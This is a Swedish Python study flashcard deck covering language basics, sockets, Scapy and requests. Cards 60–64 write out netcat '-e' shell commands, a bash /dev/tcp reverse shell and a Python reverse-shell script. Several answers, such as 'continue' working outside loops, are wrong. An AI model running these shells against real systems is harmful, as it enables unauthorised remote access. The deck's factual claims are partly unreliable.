Python Flashcards

1
Q

Pro­gram­­språk som om­vandlas till maskin­kod innan de körs kallas för kompi­le­rade språk. Pro­gram­­språk som över­sätts till maskin­kod medan de körs kallas för inter­pre­te­rade språk.

Vilken form är Python?

A

Ett inter­pre­te­rade språk

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

Vad är en av de mest utmärkande dragen i Pythons designfilosofi?

A

Läsbarheten för människor.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

Vilken är den idag (2021) senaste versionen av python?

A

3.9.x

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

Vad är några stora skillnader mellan Python2 och Python3?

A

Python2 avrundar en beräkning till närmsta heltal, Python 3 använder decimaler.

Textsträngar lagras som unicode i Python3, men som ASCII i Python2.

Print-statementet har ersatts av en print-funktion i Python3. Exempel:
print”Jimmy” vs. print(“Jimmy”)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Vad är en REPL?

A

En Read–Eval–Print-Loop är en miljö som tar in användarens input, utför den, returnerar resultatet och sedan börjar om igen.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Vad kallas strängar som går över flera rader?

definieras med 3 citationstecken

A

docstrings

Använd trippla enkla- eller dubbelcitationstecken.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

Det finns fler operatorer än de fyra vanliga räknesätten. Vad innebär operatorn “//” ?

A

Dubbla snedsträck dividerar och avrundar till närmsta lägre heltal.

Exempel: 14 // 5 = 2

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

Det finns fler operatorer än de fyra vanliga räknesätten. Vad innebär operatorn “%” ?

A

Denna operator ger vilken rest du får vid division.

Exempel: 14 % 5 = 4

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

Det finns fler operatorer än de fyra vanliga räknesätten. Vad innebär operatorn “**” ?

A

Denna operator är till för att ta den första operanden upphöjt till den andra.

Exempel: 3 ** 2 = 9

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

Element skrivs ut separerade med ett mellanslag per default i print-funktionen.

Hur ändrar du på detta?

A

Med “sep”. Exempelvis:

print(1, 2, sep=”;”)
print(1, 2, sep=”XYZ”)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

I print-funktionen så avslutas print-outputen med enter per default.

Hur ändrar du på detta?

A

Med “end”. Exempelvis:

print(1, 2,end=”Slut”)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

Vad är skillnaden mellan int och float?

A

int är heltal.

float är decimaltal.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

Vilken typ är talet?

x = “6543”

A

Talet i det här fallet är inom citationstecken och är därför en “str”.

Utan citationstecken hade det varit en “int”.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Hur gör du för att importera en modul i Python?

A

Använd “import” följt av modulen du vill använda.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

Vad är ett keyword?

A

Detta är ett reserverat ord som inte kan användas som en variabel.

Exempelvis “import” är ett keyword.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

Vilka är de två enda möjliga värdena för en boolean?

A

True eller False.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

Vad är tuples?

A

Ej föränderliga listor. Definieras med parenteser ().

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

Hur fungerar dictionaries?

A

Dictionaries är inte ordnade, vilket gör att du inte kan hämta en specifik entry.

Data lagras parvis separerat med kolon innanför curly brackets {} . Exempelvis {“firstname”: “Jimmy”}

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Du har en lista. Hur gör du för att skriva ut följande med en for-loop?

fruits = [“apple”, “banana”, “cherry”]

A

for x in fruits:

“tab”print(x)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

Med range-kommandot kan du lista nummer i sekvens. Första siffran är startsiffran, andra är slutsiffran. Har du en tredje siffra med är detta intervallet.
Exempelvis: range(2, 30, 3).

Hur gör du för att skriva ut detta med en for-loop?

A

for x in range(2, 30, 3):

print(x)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

Hur fungerar While-loopar?

A

While-loopar exekverar ett kodblock så länge ett villkor är True.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

Vilket keyword kan du använda för att avsluta en loop?

A

break

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

Vad gör statementet “pass”?

A

Ingenting.

Används vanligtvis som platshållare för framtida kod. När du använder “pass” så får du inget felmeddelande när du testar koden, vilket du får om du lämnar den delen tom.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

Vad gör keywordet “continue”?

A

Används för att avsluta den aktuella iterationen i en for- eller while-loop och fortsätter till nästa instruktion. Kan även användas utanför loopar.

Den hoppar över och går vidare helt enkelt.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

Vad är PEP8?

A

Python Enhancement Proposal 8 är en StyleGuide för hur Python ska skrivas. (Likt en RFC)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Vad är det centrala innehållet i PEP8?

A

Indentering: 4 mellanslag.

Radlängd: max 79 tecken

Ha inte I, O, 1, 0 tillsammans.

Variabler i lowercase

Avvägda kommenterer

Endast en “import” per rad.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

Vad ger följande script för svar?

x = [7,8,9]
print(x[2])

A

Svaret blir 9. Detta eftersom den första positionen har värdet 0 och inte 1.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

Hur fungerar f-strings?

Endast 3.6 och senare

A

Bokstaven f skrivs före citationstecknet. Då kan den innehålla platshållare, klamrar { } med variabler i.

Exempel:
talet = 3.65
print(f”Mitt tal: {talet: 4.2f} ”)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

Vad är en stor fördel med platshållare?

Ex: { }

A

Dessa kan användas både för att ange vad som ska skrivas ut och hur det ska skrivas ut.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
30
Q

Hur fungerar formatspecifikationen i en f-string platshållare?

A

Formatspecifikationen inleds med ett kolon efter variabeln. Siffran före punkten anger det minsta totala antal tecken som ska skrivas ut (behövs fler sker detta automatiskt).

Siffran efter punkten anger hur många decimaler som ska skrivas ut. Bokstaven “f” här anger att det ska vara en float utan exponent.

Exempelvis: { x : 1.4f}

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
31
Q

Du vill printa följande variabel med en f-string, skriv även “Hello” före. Hur gör du?

name = “Jimmy”

A

print( f”Hello {name}”)

> > > Hello Jimmy

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
32
Q

Vad är en funktion?

Ska egentligen kallas metod.

A

Är definierat med ett namn.
Kan anropas från olika andra platser i koden.
Kan ta in-data och generera ut-data.

Exempel:
def förnamn():
  print("Jimmy”)

förnamn()

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
33
Q

Vad skiljer globala och lokala variabler åt?

A
  • Globala variabler från huvudprogrammet är tillgängliga lokalt, t ex i funktioner.
  • Lokala variabler i t ex en funktion är inte tillgängliga globalt.
  • Globala variabler som ändras lokalt blir inte ändrade globalt.
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
34
Q

Nämn en python-debugger:

A

pudb3

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
35
Q

Du har en variabel som är en string. Vilka metoder kommer då din variabel att ärva?

A

Den kommer att ärva alla metoder som tillhör klassen string.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
36
Q

Hur gör du för att lista alla de metoder som är möjliga att använda med en variabel?

A

Variabelnamn + punkt + tab

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
37
Q

Du har en variabel (x) av klassen string. Vilken metod kan du använda för att ersätta alla förekomster av bokstaven “b” i din variabel med ett tomrum?

A

x.replace(“b”, “”)

38
Q

Du vill använda modulen datetime, men får upp felmeddelandet:
“NameError: name ‘datetime’ is not defined”

Vad har du gjort fel?

A

Du har sannolikt glömt att importera modulen eller importerat den under ett annat namn.

Funktionerna finns inte tillgängliga förrän modulen har
laddats.

39
Q

Du vill importera en modul in i ditt script, men modulen går inte att importera för att den inte är tillgänglig.

Vad kan vara anledningen till detta?

A

Du har sannolikt inte modulen installerad i ditt system.

40
Q

Du vill använda modulen “tracemalloc”, men du märker att du ofta skriver fel när du använder modulen.

Hur kan du göra för att använda modulen under ett alias?

A

Exempelvis:

import tracemalloc as tmc

41
Q

Hur ser syntaxen ut för att använda klasser och metoder från en modul?

A

modulnamn.klass.metod()

42
Q

Du vill endast använda en specifik klass från en modul i ditt script.

Hur kan du göra för att slippa använda modulnamnet som prefix alltid?

A

Skriv: from module import class

variabel = klass.metod()

43
Q

Vad betyder asterisken i följande exempel?

from module import *

A

Laddar samtliga klasser och metoder och låter dig referera till klasser och metoder utan modulnamnet som prefix.

44
Q

Hur fungerar try-satser?

A

En try-sats har en “try”-del och en/flera “except”-delar.
De delarna där fel uppstår ska placeras under try-delen och om ett fel uppstår så går scriptet vidare till except-delen istället för att krascha.

Exempel:
try:
   x = input("Skriv ett tal: ")
except ValueError:
  print("Felaktigt tal", x)
45
Q

Hur ser syntaxen ut för att fånga upp felsignaler med en try-sats? (except-delen)

A

Fel fångas upp av “except” följt av feltyp.

Exempel på feltyper är KeyboardInterupt, ValueError, NameError, FileNotFoundError o.s.v.

46
Q

Hur fungerar “else”-delen i en try-sats?

A

Om det finns en else-del exekveras denna ENDAST om try-delen inte fick några errormeddelanden.

47
Q

Hur fungerar “finally”-delen i en try-sats?

A

Om det finns en finally-del exekveras denna del OAVSETT om try-delen fick några errormeddelanden eller inte.

Exekveras alltid allra sist.

48
Q

Är det möjligt att använda tomrum i namnet på ett argument?

A

Ja, du sätter argumentets namn inom citationstecken för att tolken ska ta in det som ett argument.

49
Q

Hur fungerar argument i python?

A

Argumenten skickar du med när du startar scriptet. Argumenten placeras i en lista (argv) där varje argument blir ett element.

import sys
sys.argv[]

När scriptet körs så hämtas argumenten från listan som heter “argv”, vilket är en modul i sys-metoden.

Du måste därför importera sys-modulen i scriptet.

50
Q

Förklara hur Argparse fungerar:

A

Argparse fungerar likt argv, den hämtar argument från tolken och omvandlar det till argument.

Argparse kan kan kräva att argument ska finnas med för att scriptet ska kunna köras ordentligt. Det finns även stöd för att ha med hjälptext till de olika argumenten.

51
Q

./mittscript.py
mittscript.py: error: the following arguments are required: argument1, argument2

Vad har gått fel här?

A

Du har glömt att skicka med argument 1 och argument2.

Rätt användning är: ./mittscript.py argument 1 argument2

52
Q

Hur ser ett argparse-script ut när det innehåller ett nödvändigt argument?

A

import argparse

parser = argparse.ArgumentParser()
parser.add_argument(dest=’argument1’, help=”This is the first argument”)

args = parser.parse_args()
print(args.argument1)

53
Q

Vad använder du funktionen “open” till?

A

Funktionen “open” används för att öppna filer.

Funktionen har två parametrar kopplade till sig, file och mode. Parametern “file” är sökvägen till filen. Parametern “mode” är vilket läge filen ska öppnas i.

54
Q

Funktionen “open” har parametern “mode”, vilket är läget som filen ska öppnas i.

Vilka är de vanligaste lägena och vad betyder dessa?

A

“r” - Läs - defaultvärde. Öppnar en fil för läsning, returnerar fel om filen inte finns

“a” - Lägg till - Öppnar en fil för att lägga till i slutet av filen, skapar filen om den inte finns.

“w” - Skriv - Öppnar en fil för att skriva, skapar filen om den inte finns.

“x” - Skapa - Skapar den angivna filen, returnerar ett fel om filen finns.

55
Q

Funktionen “open” har parametern “mode”, vilket är läget som filen ska öppnas i.

Vad innebär läget “b” ?

A

“b” - Binary - Binärt läge. I vanliga fall behandlas filer i textläge. Använd binärt läge om du vill interagera med exempelvis en bildfil.

(“t” är textläge och är defaultläget)

56
Q

Vad gör följande script?

f = open(“exempel.txt”, “w+”)
for x in range (0,10):
f.write(“Rad nummer: “ + str(x) + “\r\n”)
f.close

A

Skriver 10 strycken rader till filen “exempel.txt”.

57
Q

Vad är netcat?

A

Ett verktyg för att läsa från och skriva till nätverksanslutningar med TCP eller UDP.

58
Q

Hur ser syntaxen ut för att göra en port scan med netcat?

A

Exempelvis:
nc -zv -n 8.8.8.8 1-1024

Detta scannar portarna 1 till 1024 på IP-adressen 8.8.8.8. Operatorn “-v” innebär att verbose och operatorn “-n” innebär att vi vill förhindra DNS-lookup. Du kan även skriva domännamnet direkt istället för IP-adressen.

59
Q

Du ska göra en filöverföring med nc till IP-addressen 192.168.0.13 på port 12345.

Hur ser syntaxen för detta ut?

A

nc -v 192.168.0.13 12345 < fil

Mottagaren tar emot filen med:
nc -lvp 12345 > fil

60
Q

Hur tillåter du nc shell access på ett linuxsystem?

A

nc IP-adress port -e skal

Exempel:
nc 192.168.100.123 1337 –e /bin/bash

61
Q

Hur tillåter du nc shell access på ett windowssystem?

A

Steg 1: Stäng av brandväggen.

Steg2:
nc IP-adress port -e skal

Exempel:
nc.exe 192.168.100.123 1337 –e cmd.exe

62
Q

Hur initierar du ett Reverse shell mot ett offer som inte har netcat?

A

Exempel:
bash -i >& /dev/tcp/192.168.100.123/1337 0>&1

IP och port byts ut mot offrets IP och port.

63
Q

Vilken option i netcat ska du använda för att välja UDP?

A

nc -u

64
Q

Hur initierar du ett Reverse pythonshell mot ett offer med python?

A

import socket, subprocess, os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“192.168.100.123”, 1337))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1) os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”]);’

65
Q

Vilka portar är inte begränsade på en vanlig linuxanvändare?

A

1025-65535

Port 0-1024 (well-known ports) är begränsade till root per default.

66
Q

Varför kan bara root lyssna på portar under 1024?

A

1024-gränsen tvingar dig att köra alla nätverks daemons med superuser privileges. Utan 1024-gränsen kan de flesta nätverks daemons (utom sshd) köras utan superuser privileges.

67
Q

Hur kan hackare utnyttja sockets och portar?

A

Hackare utnyttjar sårbarheter i de program som har öppnat specifika portar. Varje program som använder internet för att tillhandahålla en tjänst använder portar och öppnar dessa för hela internet.

Ett program förväntar sig en viss typ av data på en viss port, men är programmets säkerhet dålig kan detta bli en väg in.

68
Q

Hur skapar du en socket?

A

Genom att först importera modulen “socket” och sedan skriva:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

Bokstaven “s” kan vara valfri variabel. INET betyder att det är en IPv4-socket och STREAM indikerar att det sker genom TCP.

69
Q

Vad gör följande kommando?

s.connect((“www.secyourity.se”, 80))

A

Ansluter till webbadressen “secyourity.se” på port 80. När anslutningen är upprättad så kan socketen “s” användas för att exempelvis begära information från servern.

70
Q

Hur kan du enkelt ta reda på IP-adressen för “secyourity.se” med modulen “socket” ?

A

import socket
ip = socket.gethostbyname(‘www.secyourity.se’)
print(ip)

71
Q

Vilka methods använder en server för att kunna lyssna på inkommande förfrågningar?

A

En server har en bind() -method som binder den till en specifik IP och port så att den kan lyssna på inkommande förfrågningar på den IPn och porten.

En server har en listen() -method som sätter servern i lyssningsläge. Detta gör att servern kan lyssna på inkommande anslutningar.

Servern har även en accept()- & close() -method. Accepteringsmetoden initierar en anslutning med klienten och stängningsmetoden stänger anslutningen till klienten.

72
Q

Vad innebär det att en socket är skapad med “socket.SOCK_DGRAM” ?

A

Detta indikerar att kommunikationen sker med UDP.

73
Q

Hur fungerar modulen “threading” ?

A

Python-threading låter dig köra olika delar av ditt program samtidigt och kan förenkla din design.

74
Q

Vad är Scapy?

A

Ett paketmanipuleringsverktyg för nätverk, ursprungligen skrivet i Python. Det kan bl.a. skapa, avkoda, skicka och fånga in paket.

75
Q

Vilken är destinationsporten default för TCP-headers skapade med Scapy?

A

Port 80

76
Q

Hur ska du gå tillväga för att koppla ihop olika headers i ett och samma paket med Scapy?

A

Detta gör man genom att från vänster till höger lista headrarna från lägsta OSI-nivå till högsta, separerade med / (slash).

Exempelvis:
jimmyspaket=jimmysip/jimmystcp/jimmyspayload

77
Q

Hur gör du för att på en enda rad med Scapy skicka ett TCP SYN till 10.0.5.123 på port 4567?

A

send(IP(dst=”10.0.5.123”)/TCP(dport=4567))

78
Q

Vilken option behövs till tcpdump för att skriva till fil istället för att skriva ut på skärmen?

A

-w

79
Q

Hur fungerar Scapy-funktionen sr1() ?

A

Sr1() skickar iväg paketet och väntar på att ett paket kommer in på nätverksinterfacet som troligen är responsen på det utskickade paketet. Det sorterar bort paket som inte är det troliga svaret.

80
Q

Vad är cURL ?

A

cURL är ett kommandoradsverktyg och programbibliotek för dataöverföring.

81
Q

Vad används modulen requests till?

A

Requestsmodulen låter dig skicka HTTP-förfrågningar med Python.

HTTP-requesten returnerar ett Response Object med all svarsinformation (innehåll, kodning, status osv.).

82
Q

Vad är pip?

A

pip är ett pakethanteringssystem skrivet i Python som används för att installera och hantera programvarupaket.

Den ansluter till en repository med paket, kallat Python Package Index. Detta kan användas för att ladda ner extra moduler.

83
Q

Hur postar du data med requestsmodulen?

A

Exempelvis:

x = requests.post(“https://exempel.org”, data = {“key”:”value”})

84
Q

Hur skickar du med flera parametrar i en GET-request med modulen requests?

A

Exempel:

payload = {‘key1’: ‘value1’, ‘key2’: ‘value2’}

> > > r = requests.get(“https://exempel.se”, params=payload)

85
Q

Hur printar du serverns respons med modulen requests?

A

x = requests.get(“https://exempel.se”)

x.text

86
Q

Hur gör du för att skicka med cURL som user-agent i en GET-request med requestsmodulen ?

A

headers = {‘user-agent’: ‘curl’}

x = requests.get(url, headers=headers)

87
Q

Hur får du fram statuskoden i en GET-request med requestsmodulen ?

A

x = requests.get(“https://exempel.se”)

x.status_code

88
Q

Vad är IDLE?

A

Integrated Development and Learning Environment

Följer med varje Python-installation. Möjliggör highlighting av viktiga nyckelord (t.ex. stringfunktioner), vilket gör det lättare för att tolka kod.

89
Q

Vad händer om du använder operatorn “+” med två olika datatyper?

variabel = integer + string

A

Du får en TypeError. Du kan inte använda “+”-operation om olika datatyper.

TypeError: Can’t convert ‘int’ object to str implicitly

90
Q

Hur adderar du enkelt ett nytt objekt till en lista?

A

Med append().

Använd insert() för att lägga till vid en specifik plats.

Exempel
list = [“ett”, “två”, “tre”]
list.insert(2, “ettochetthalvt”)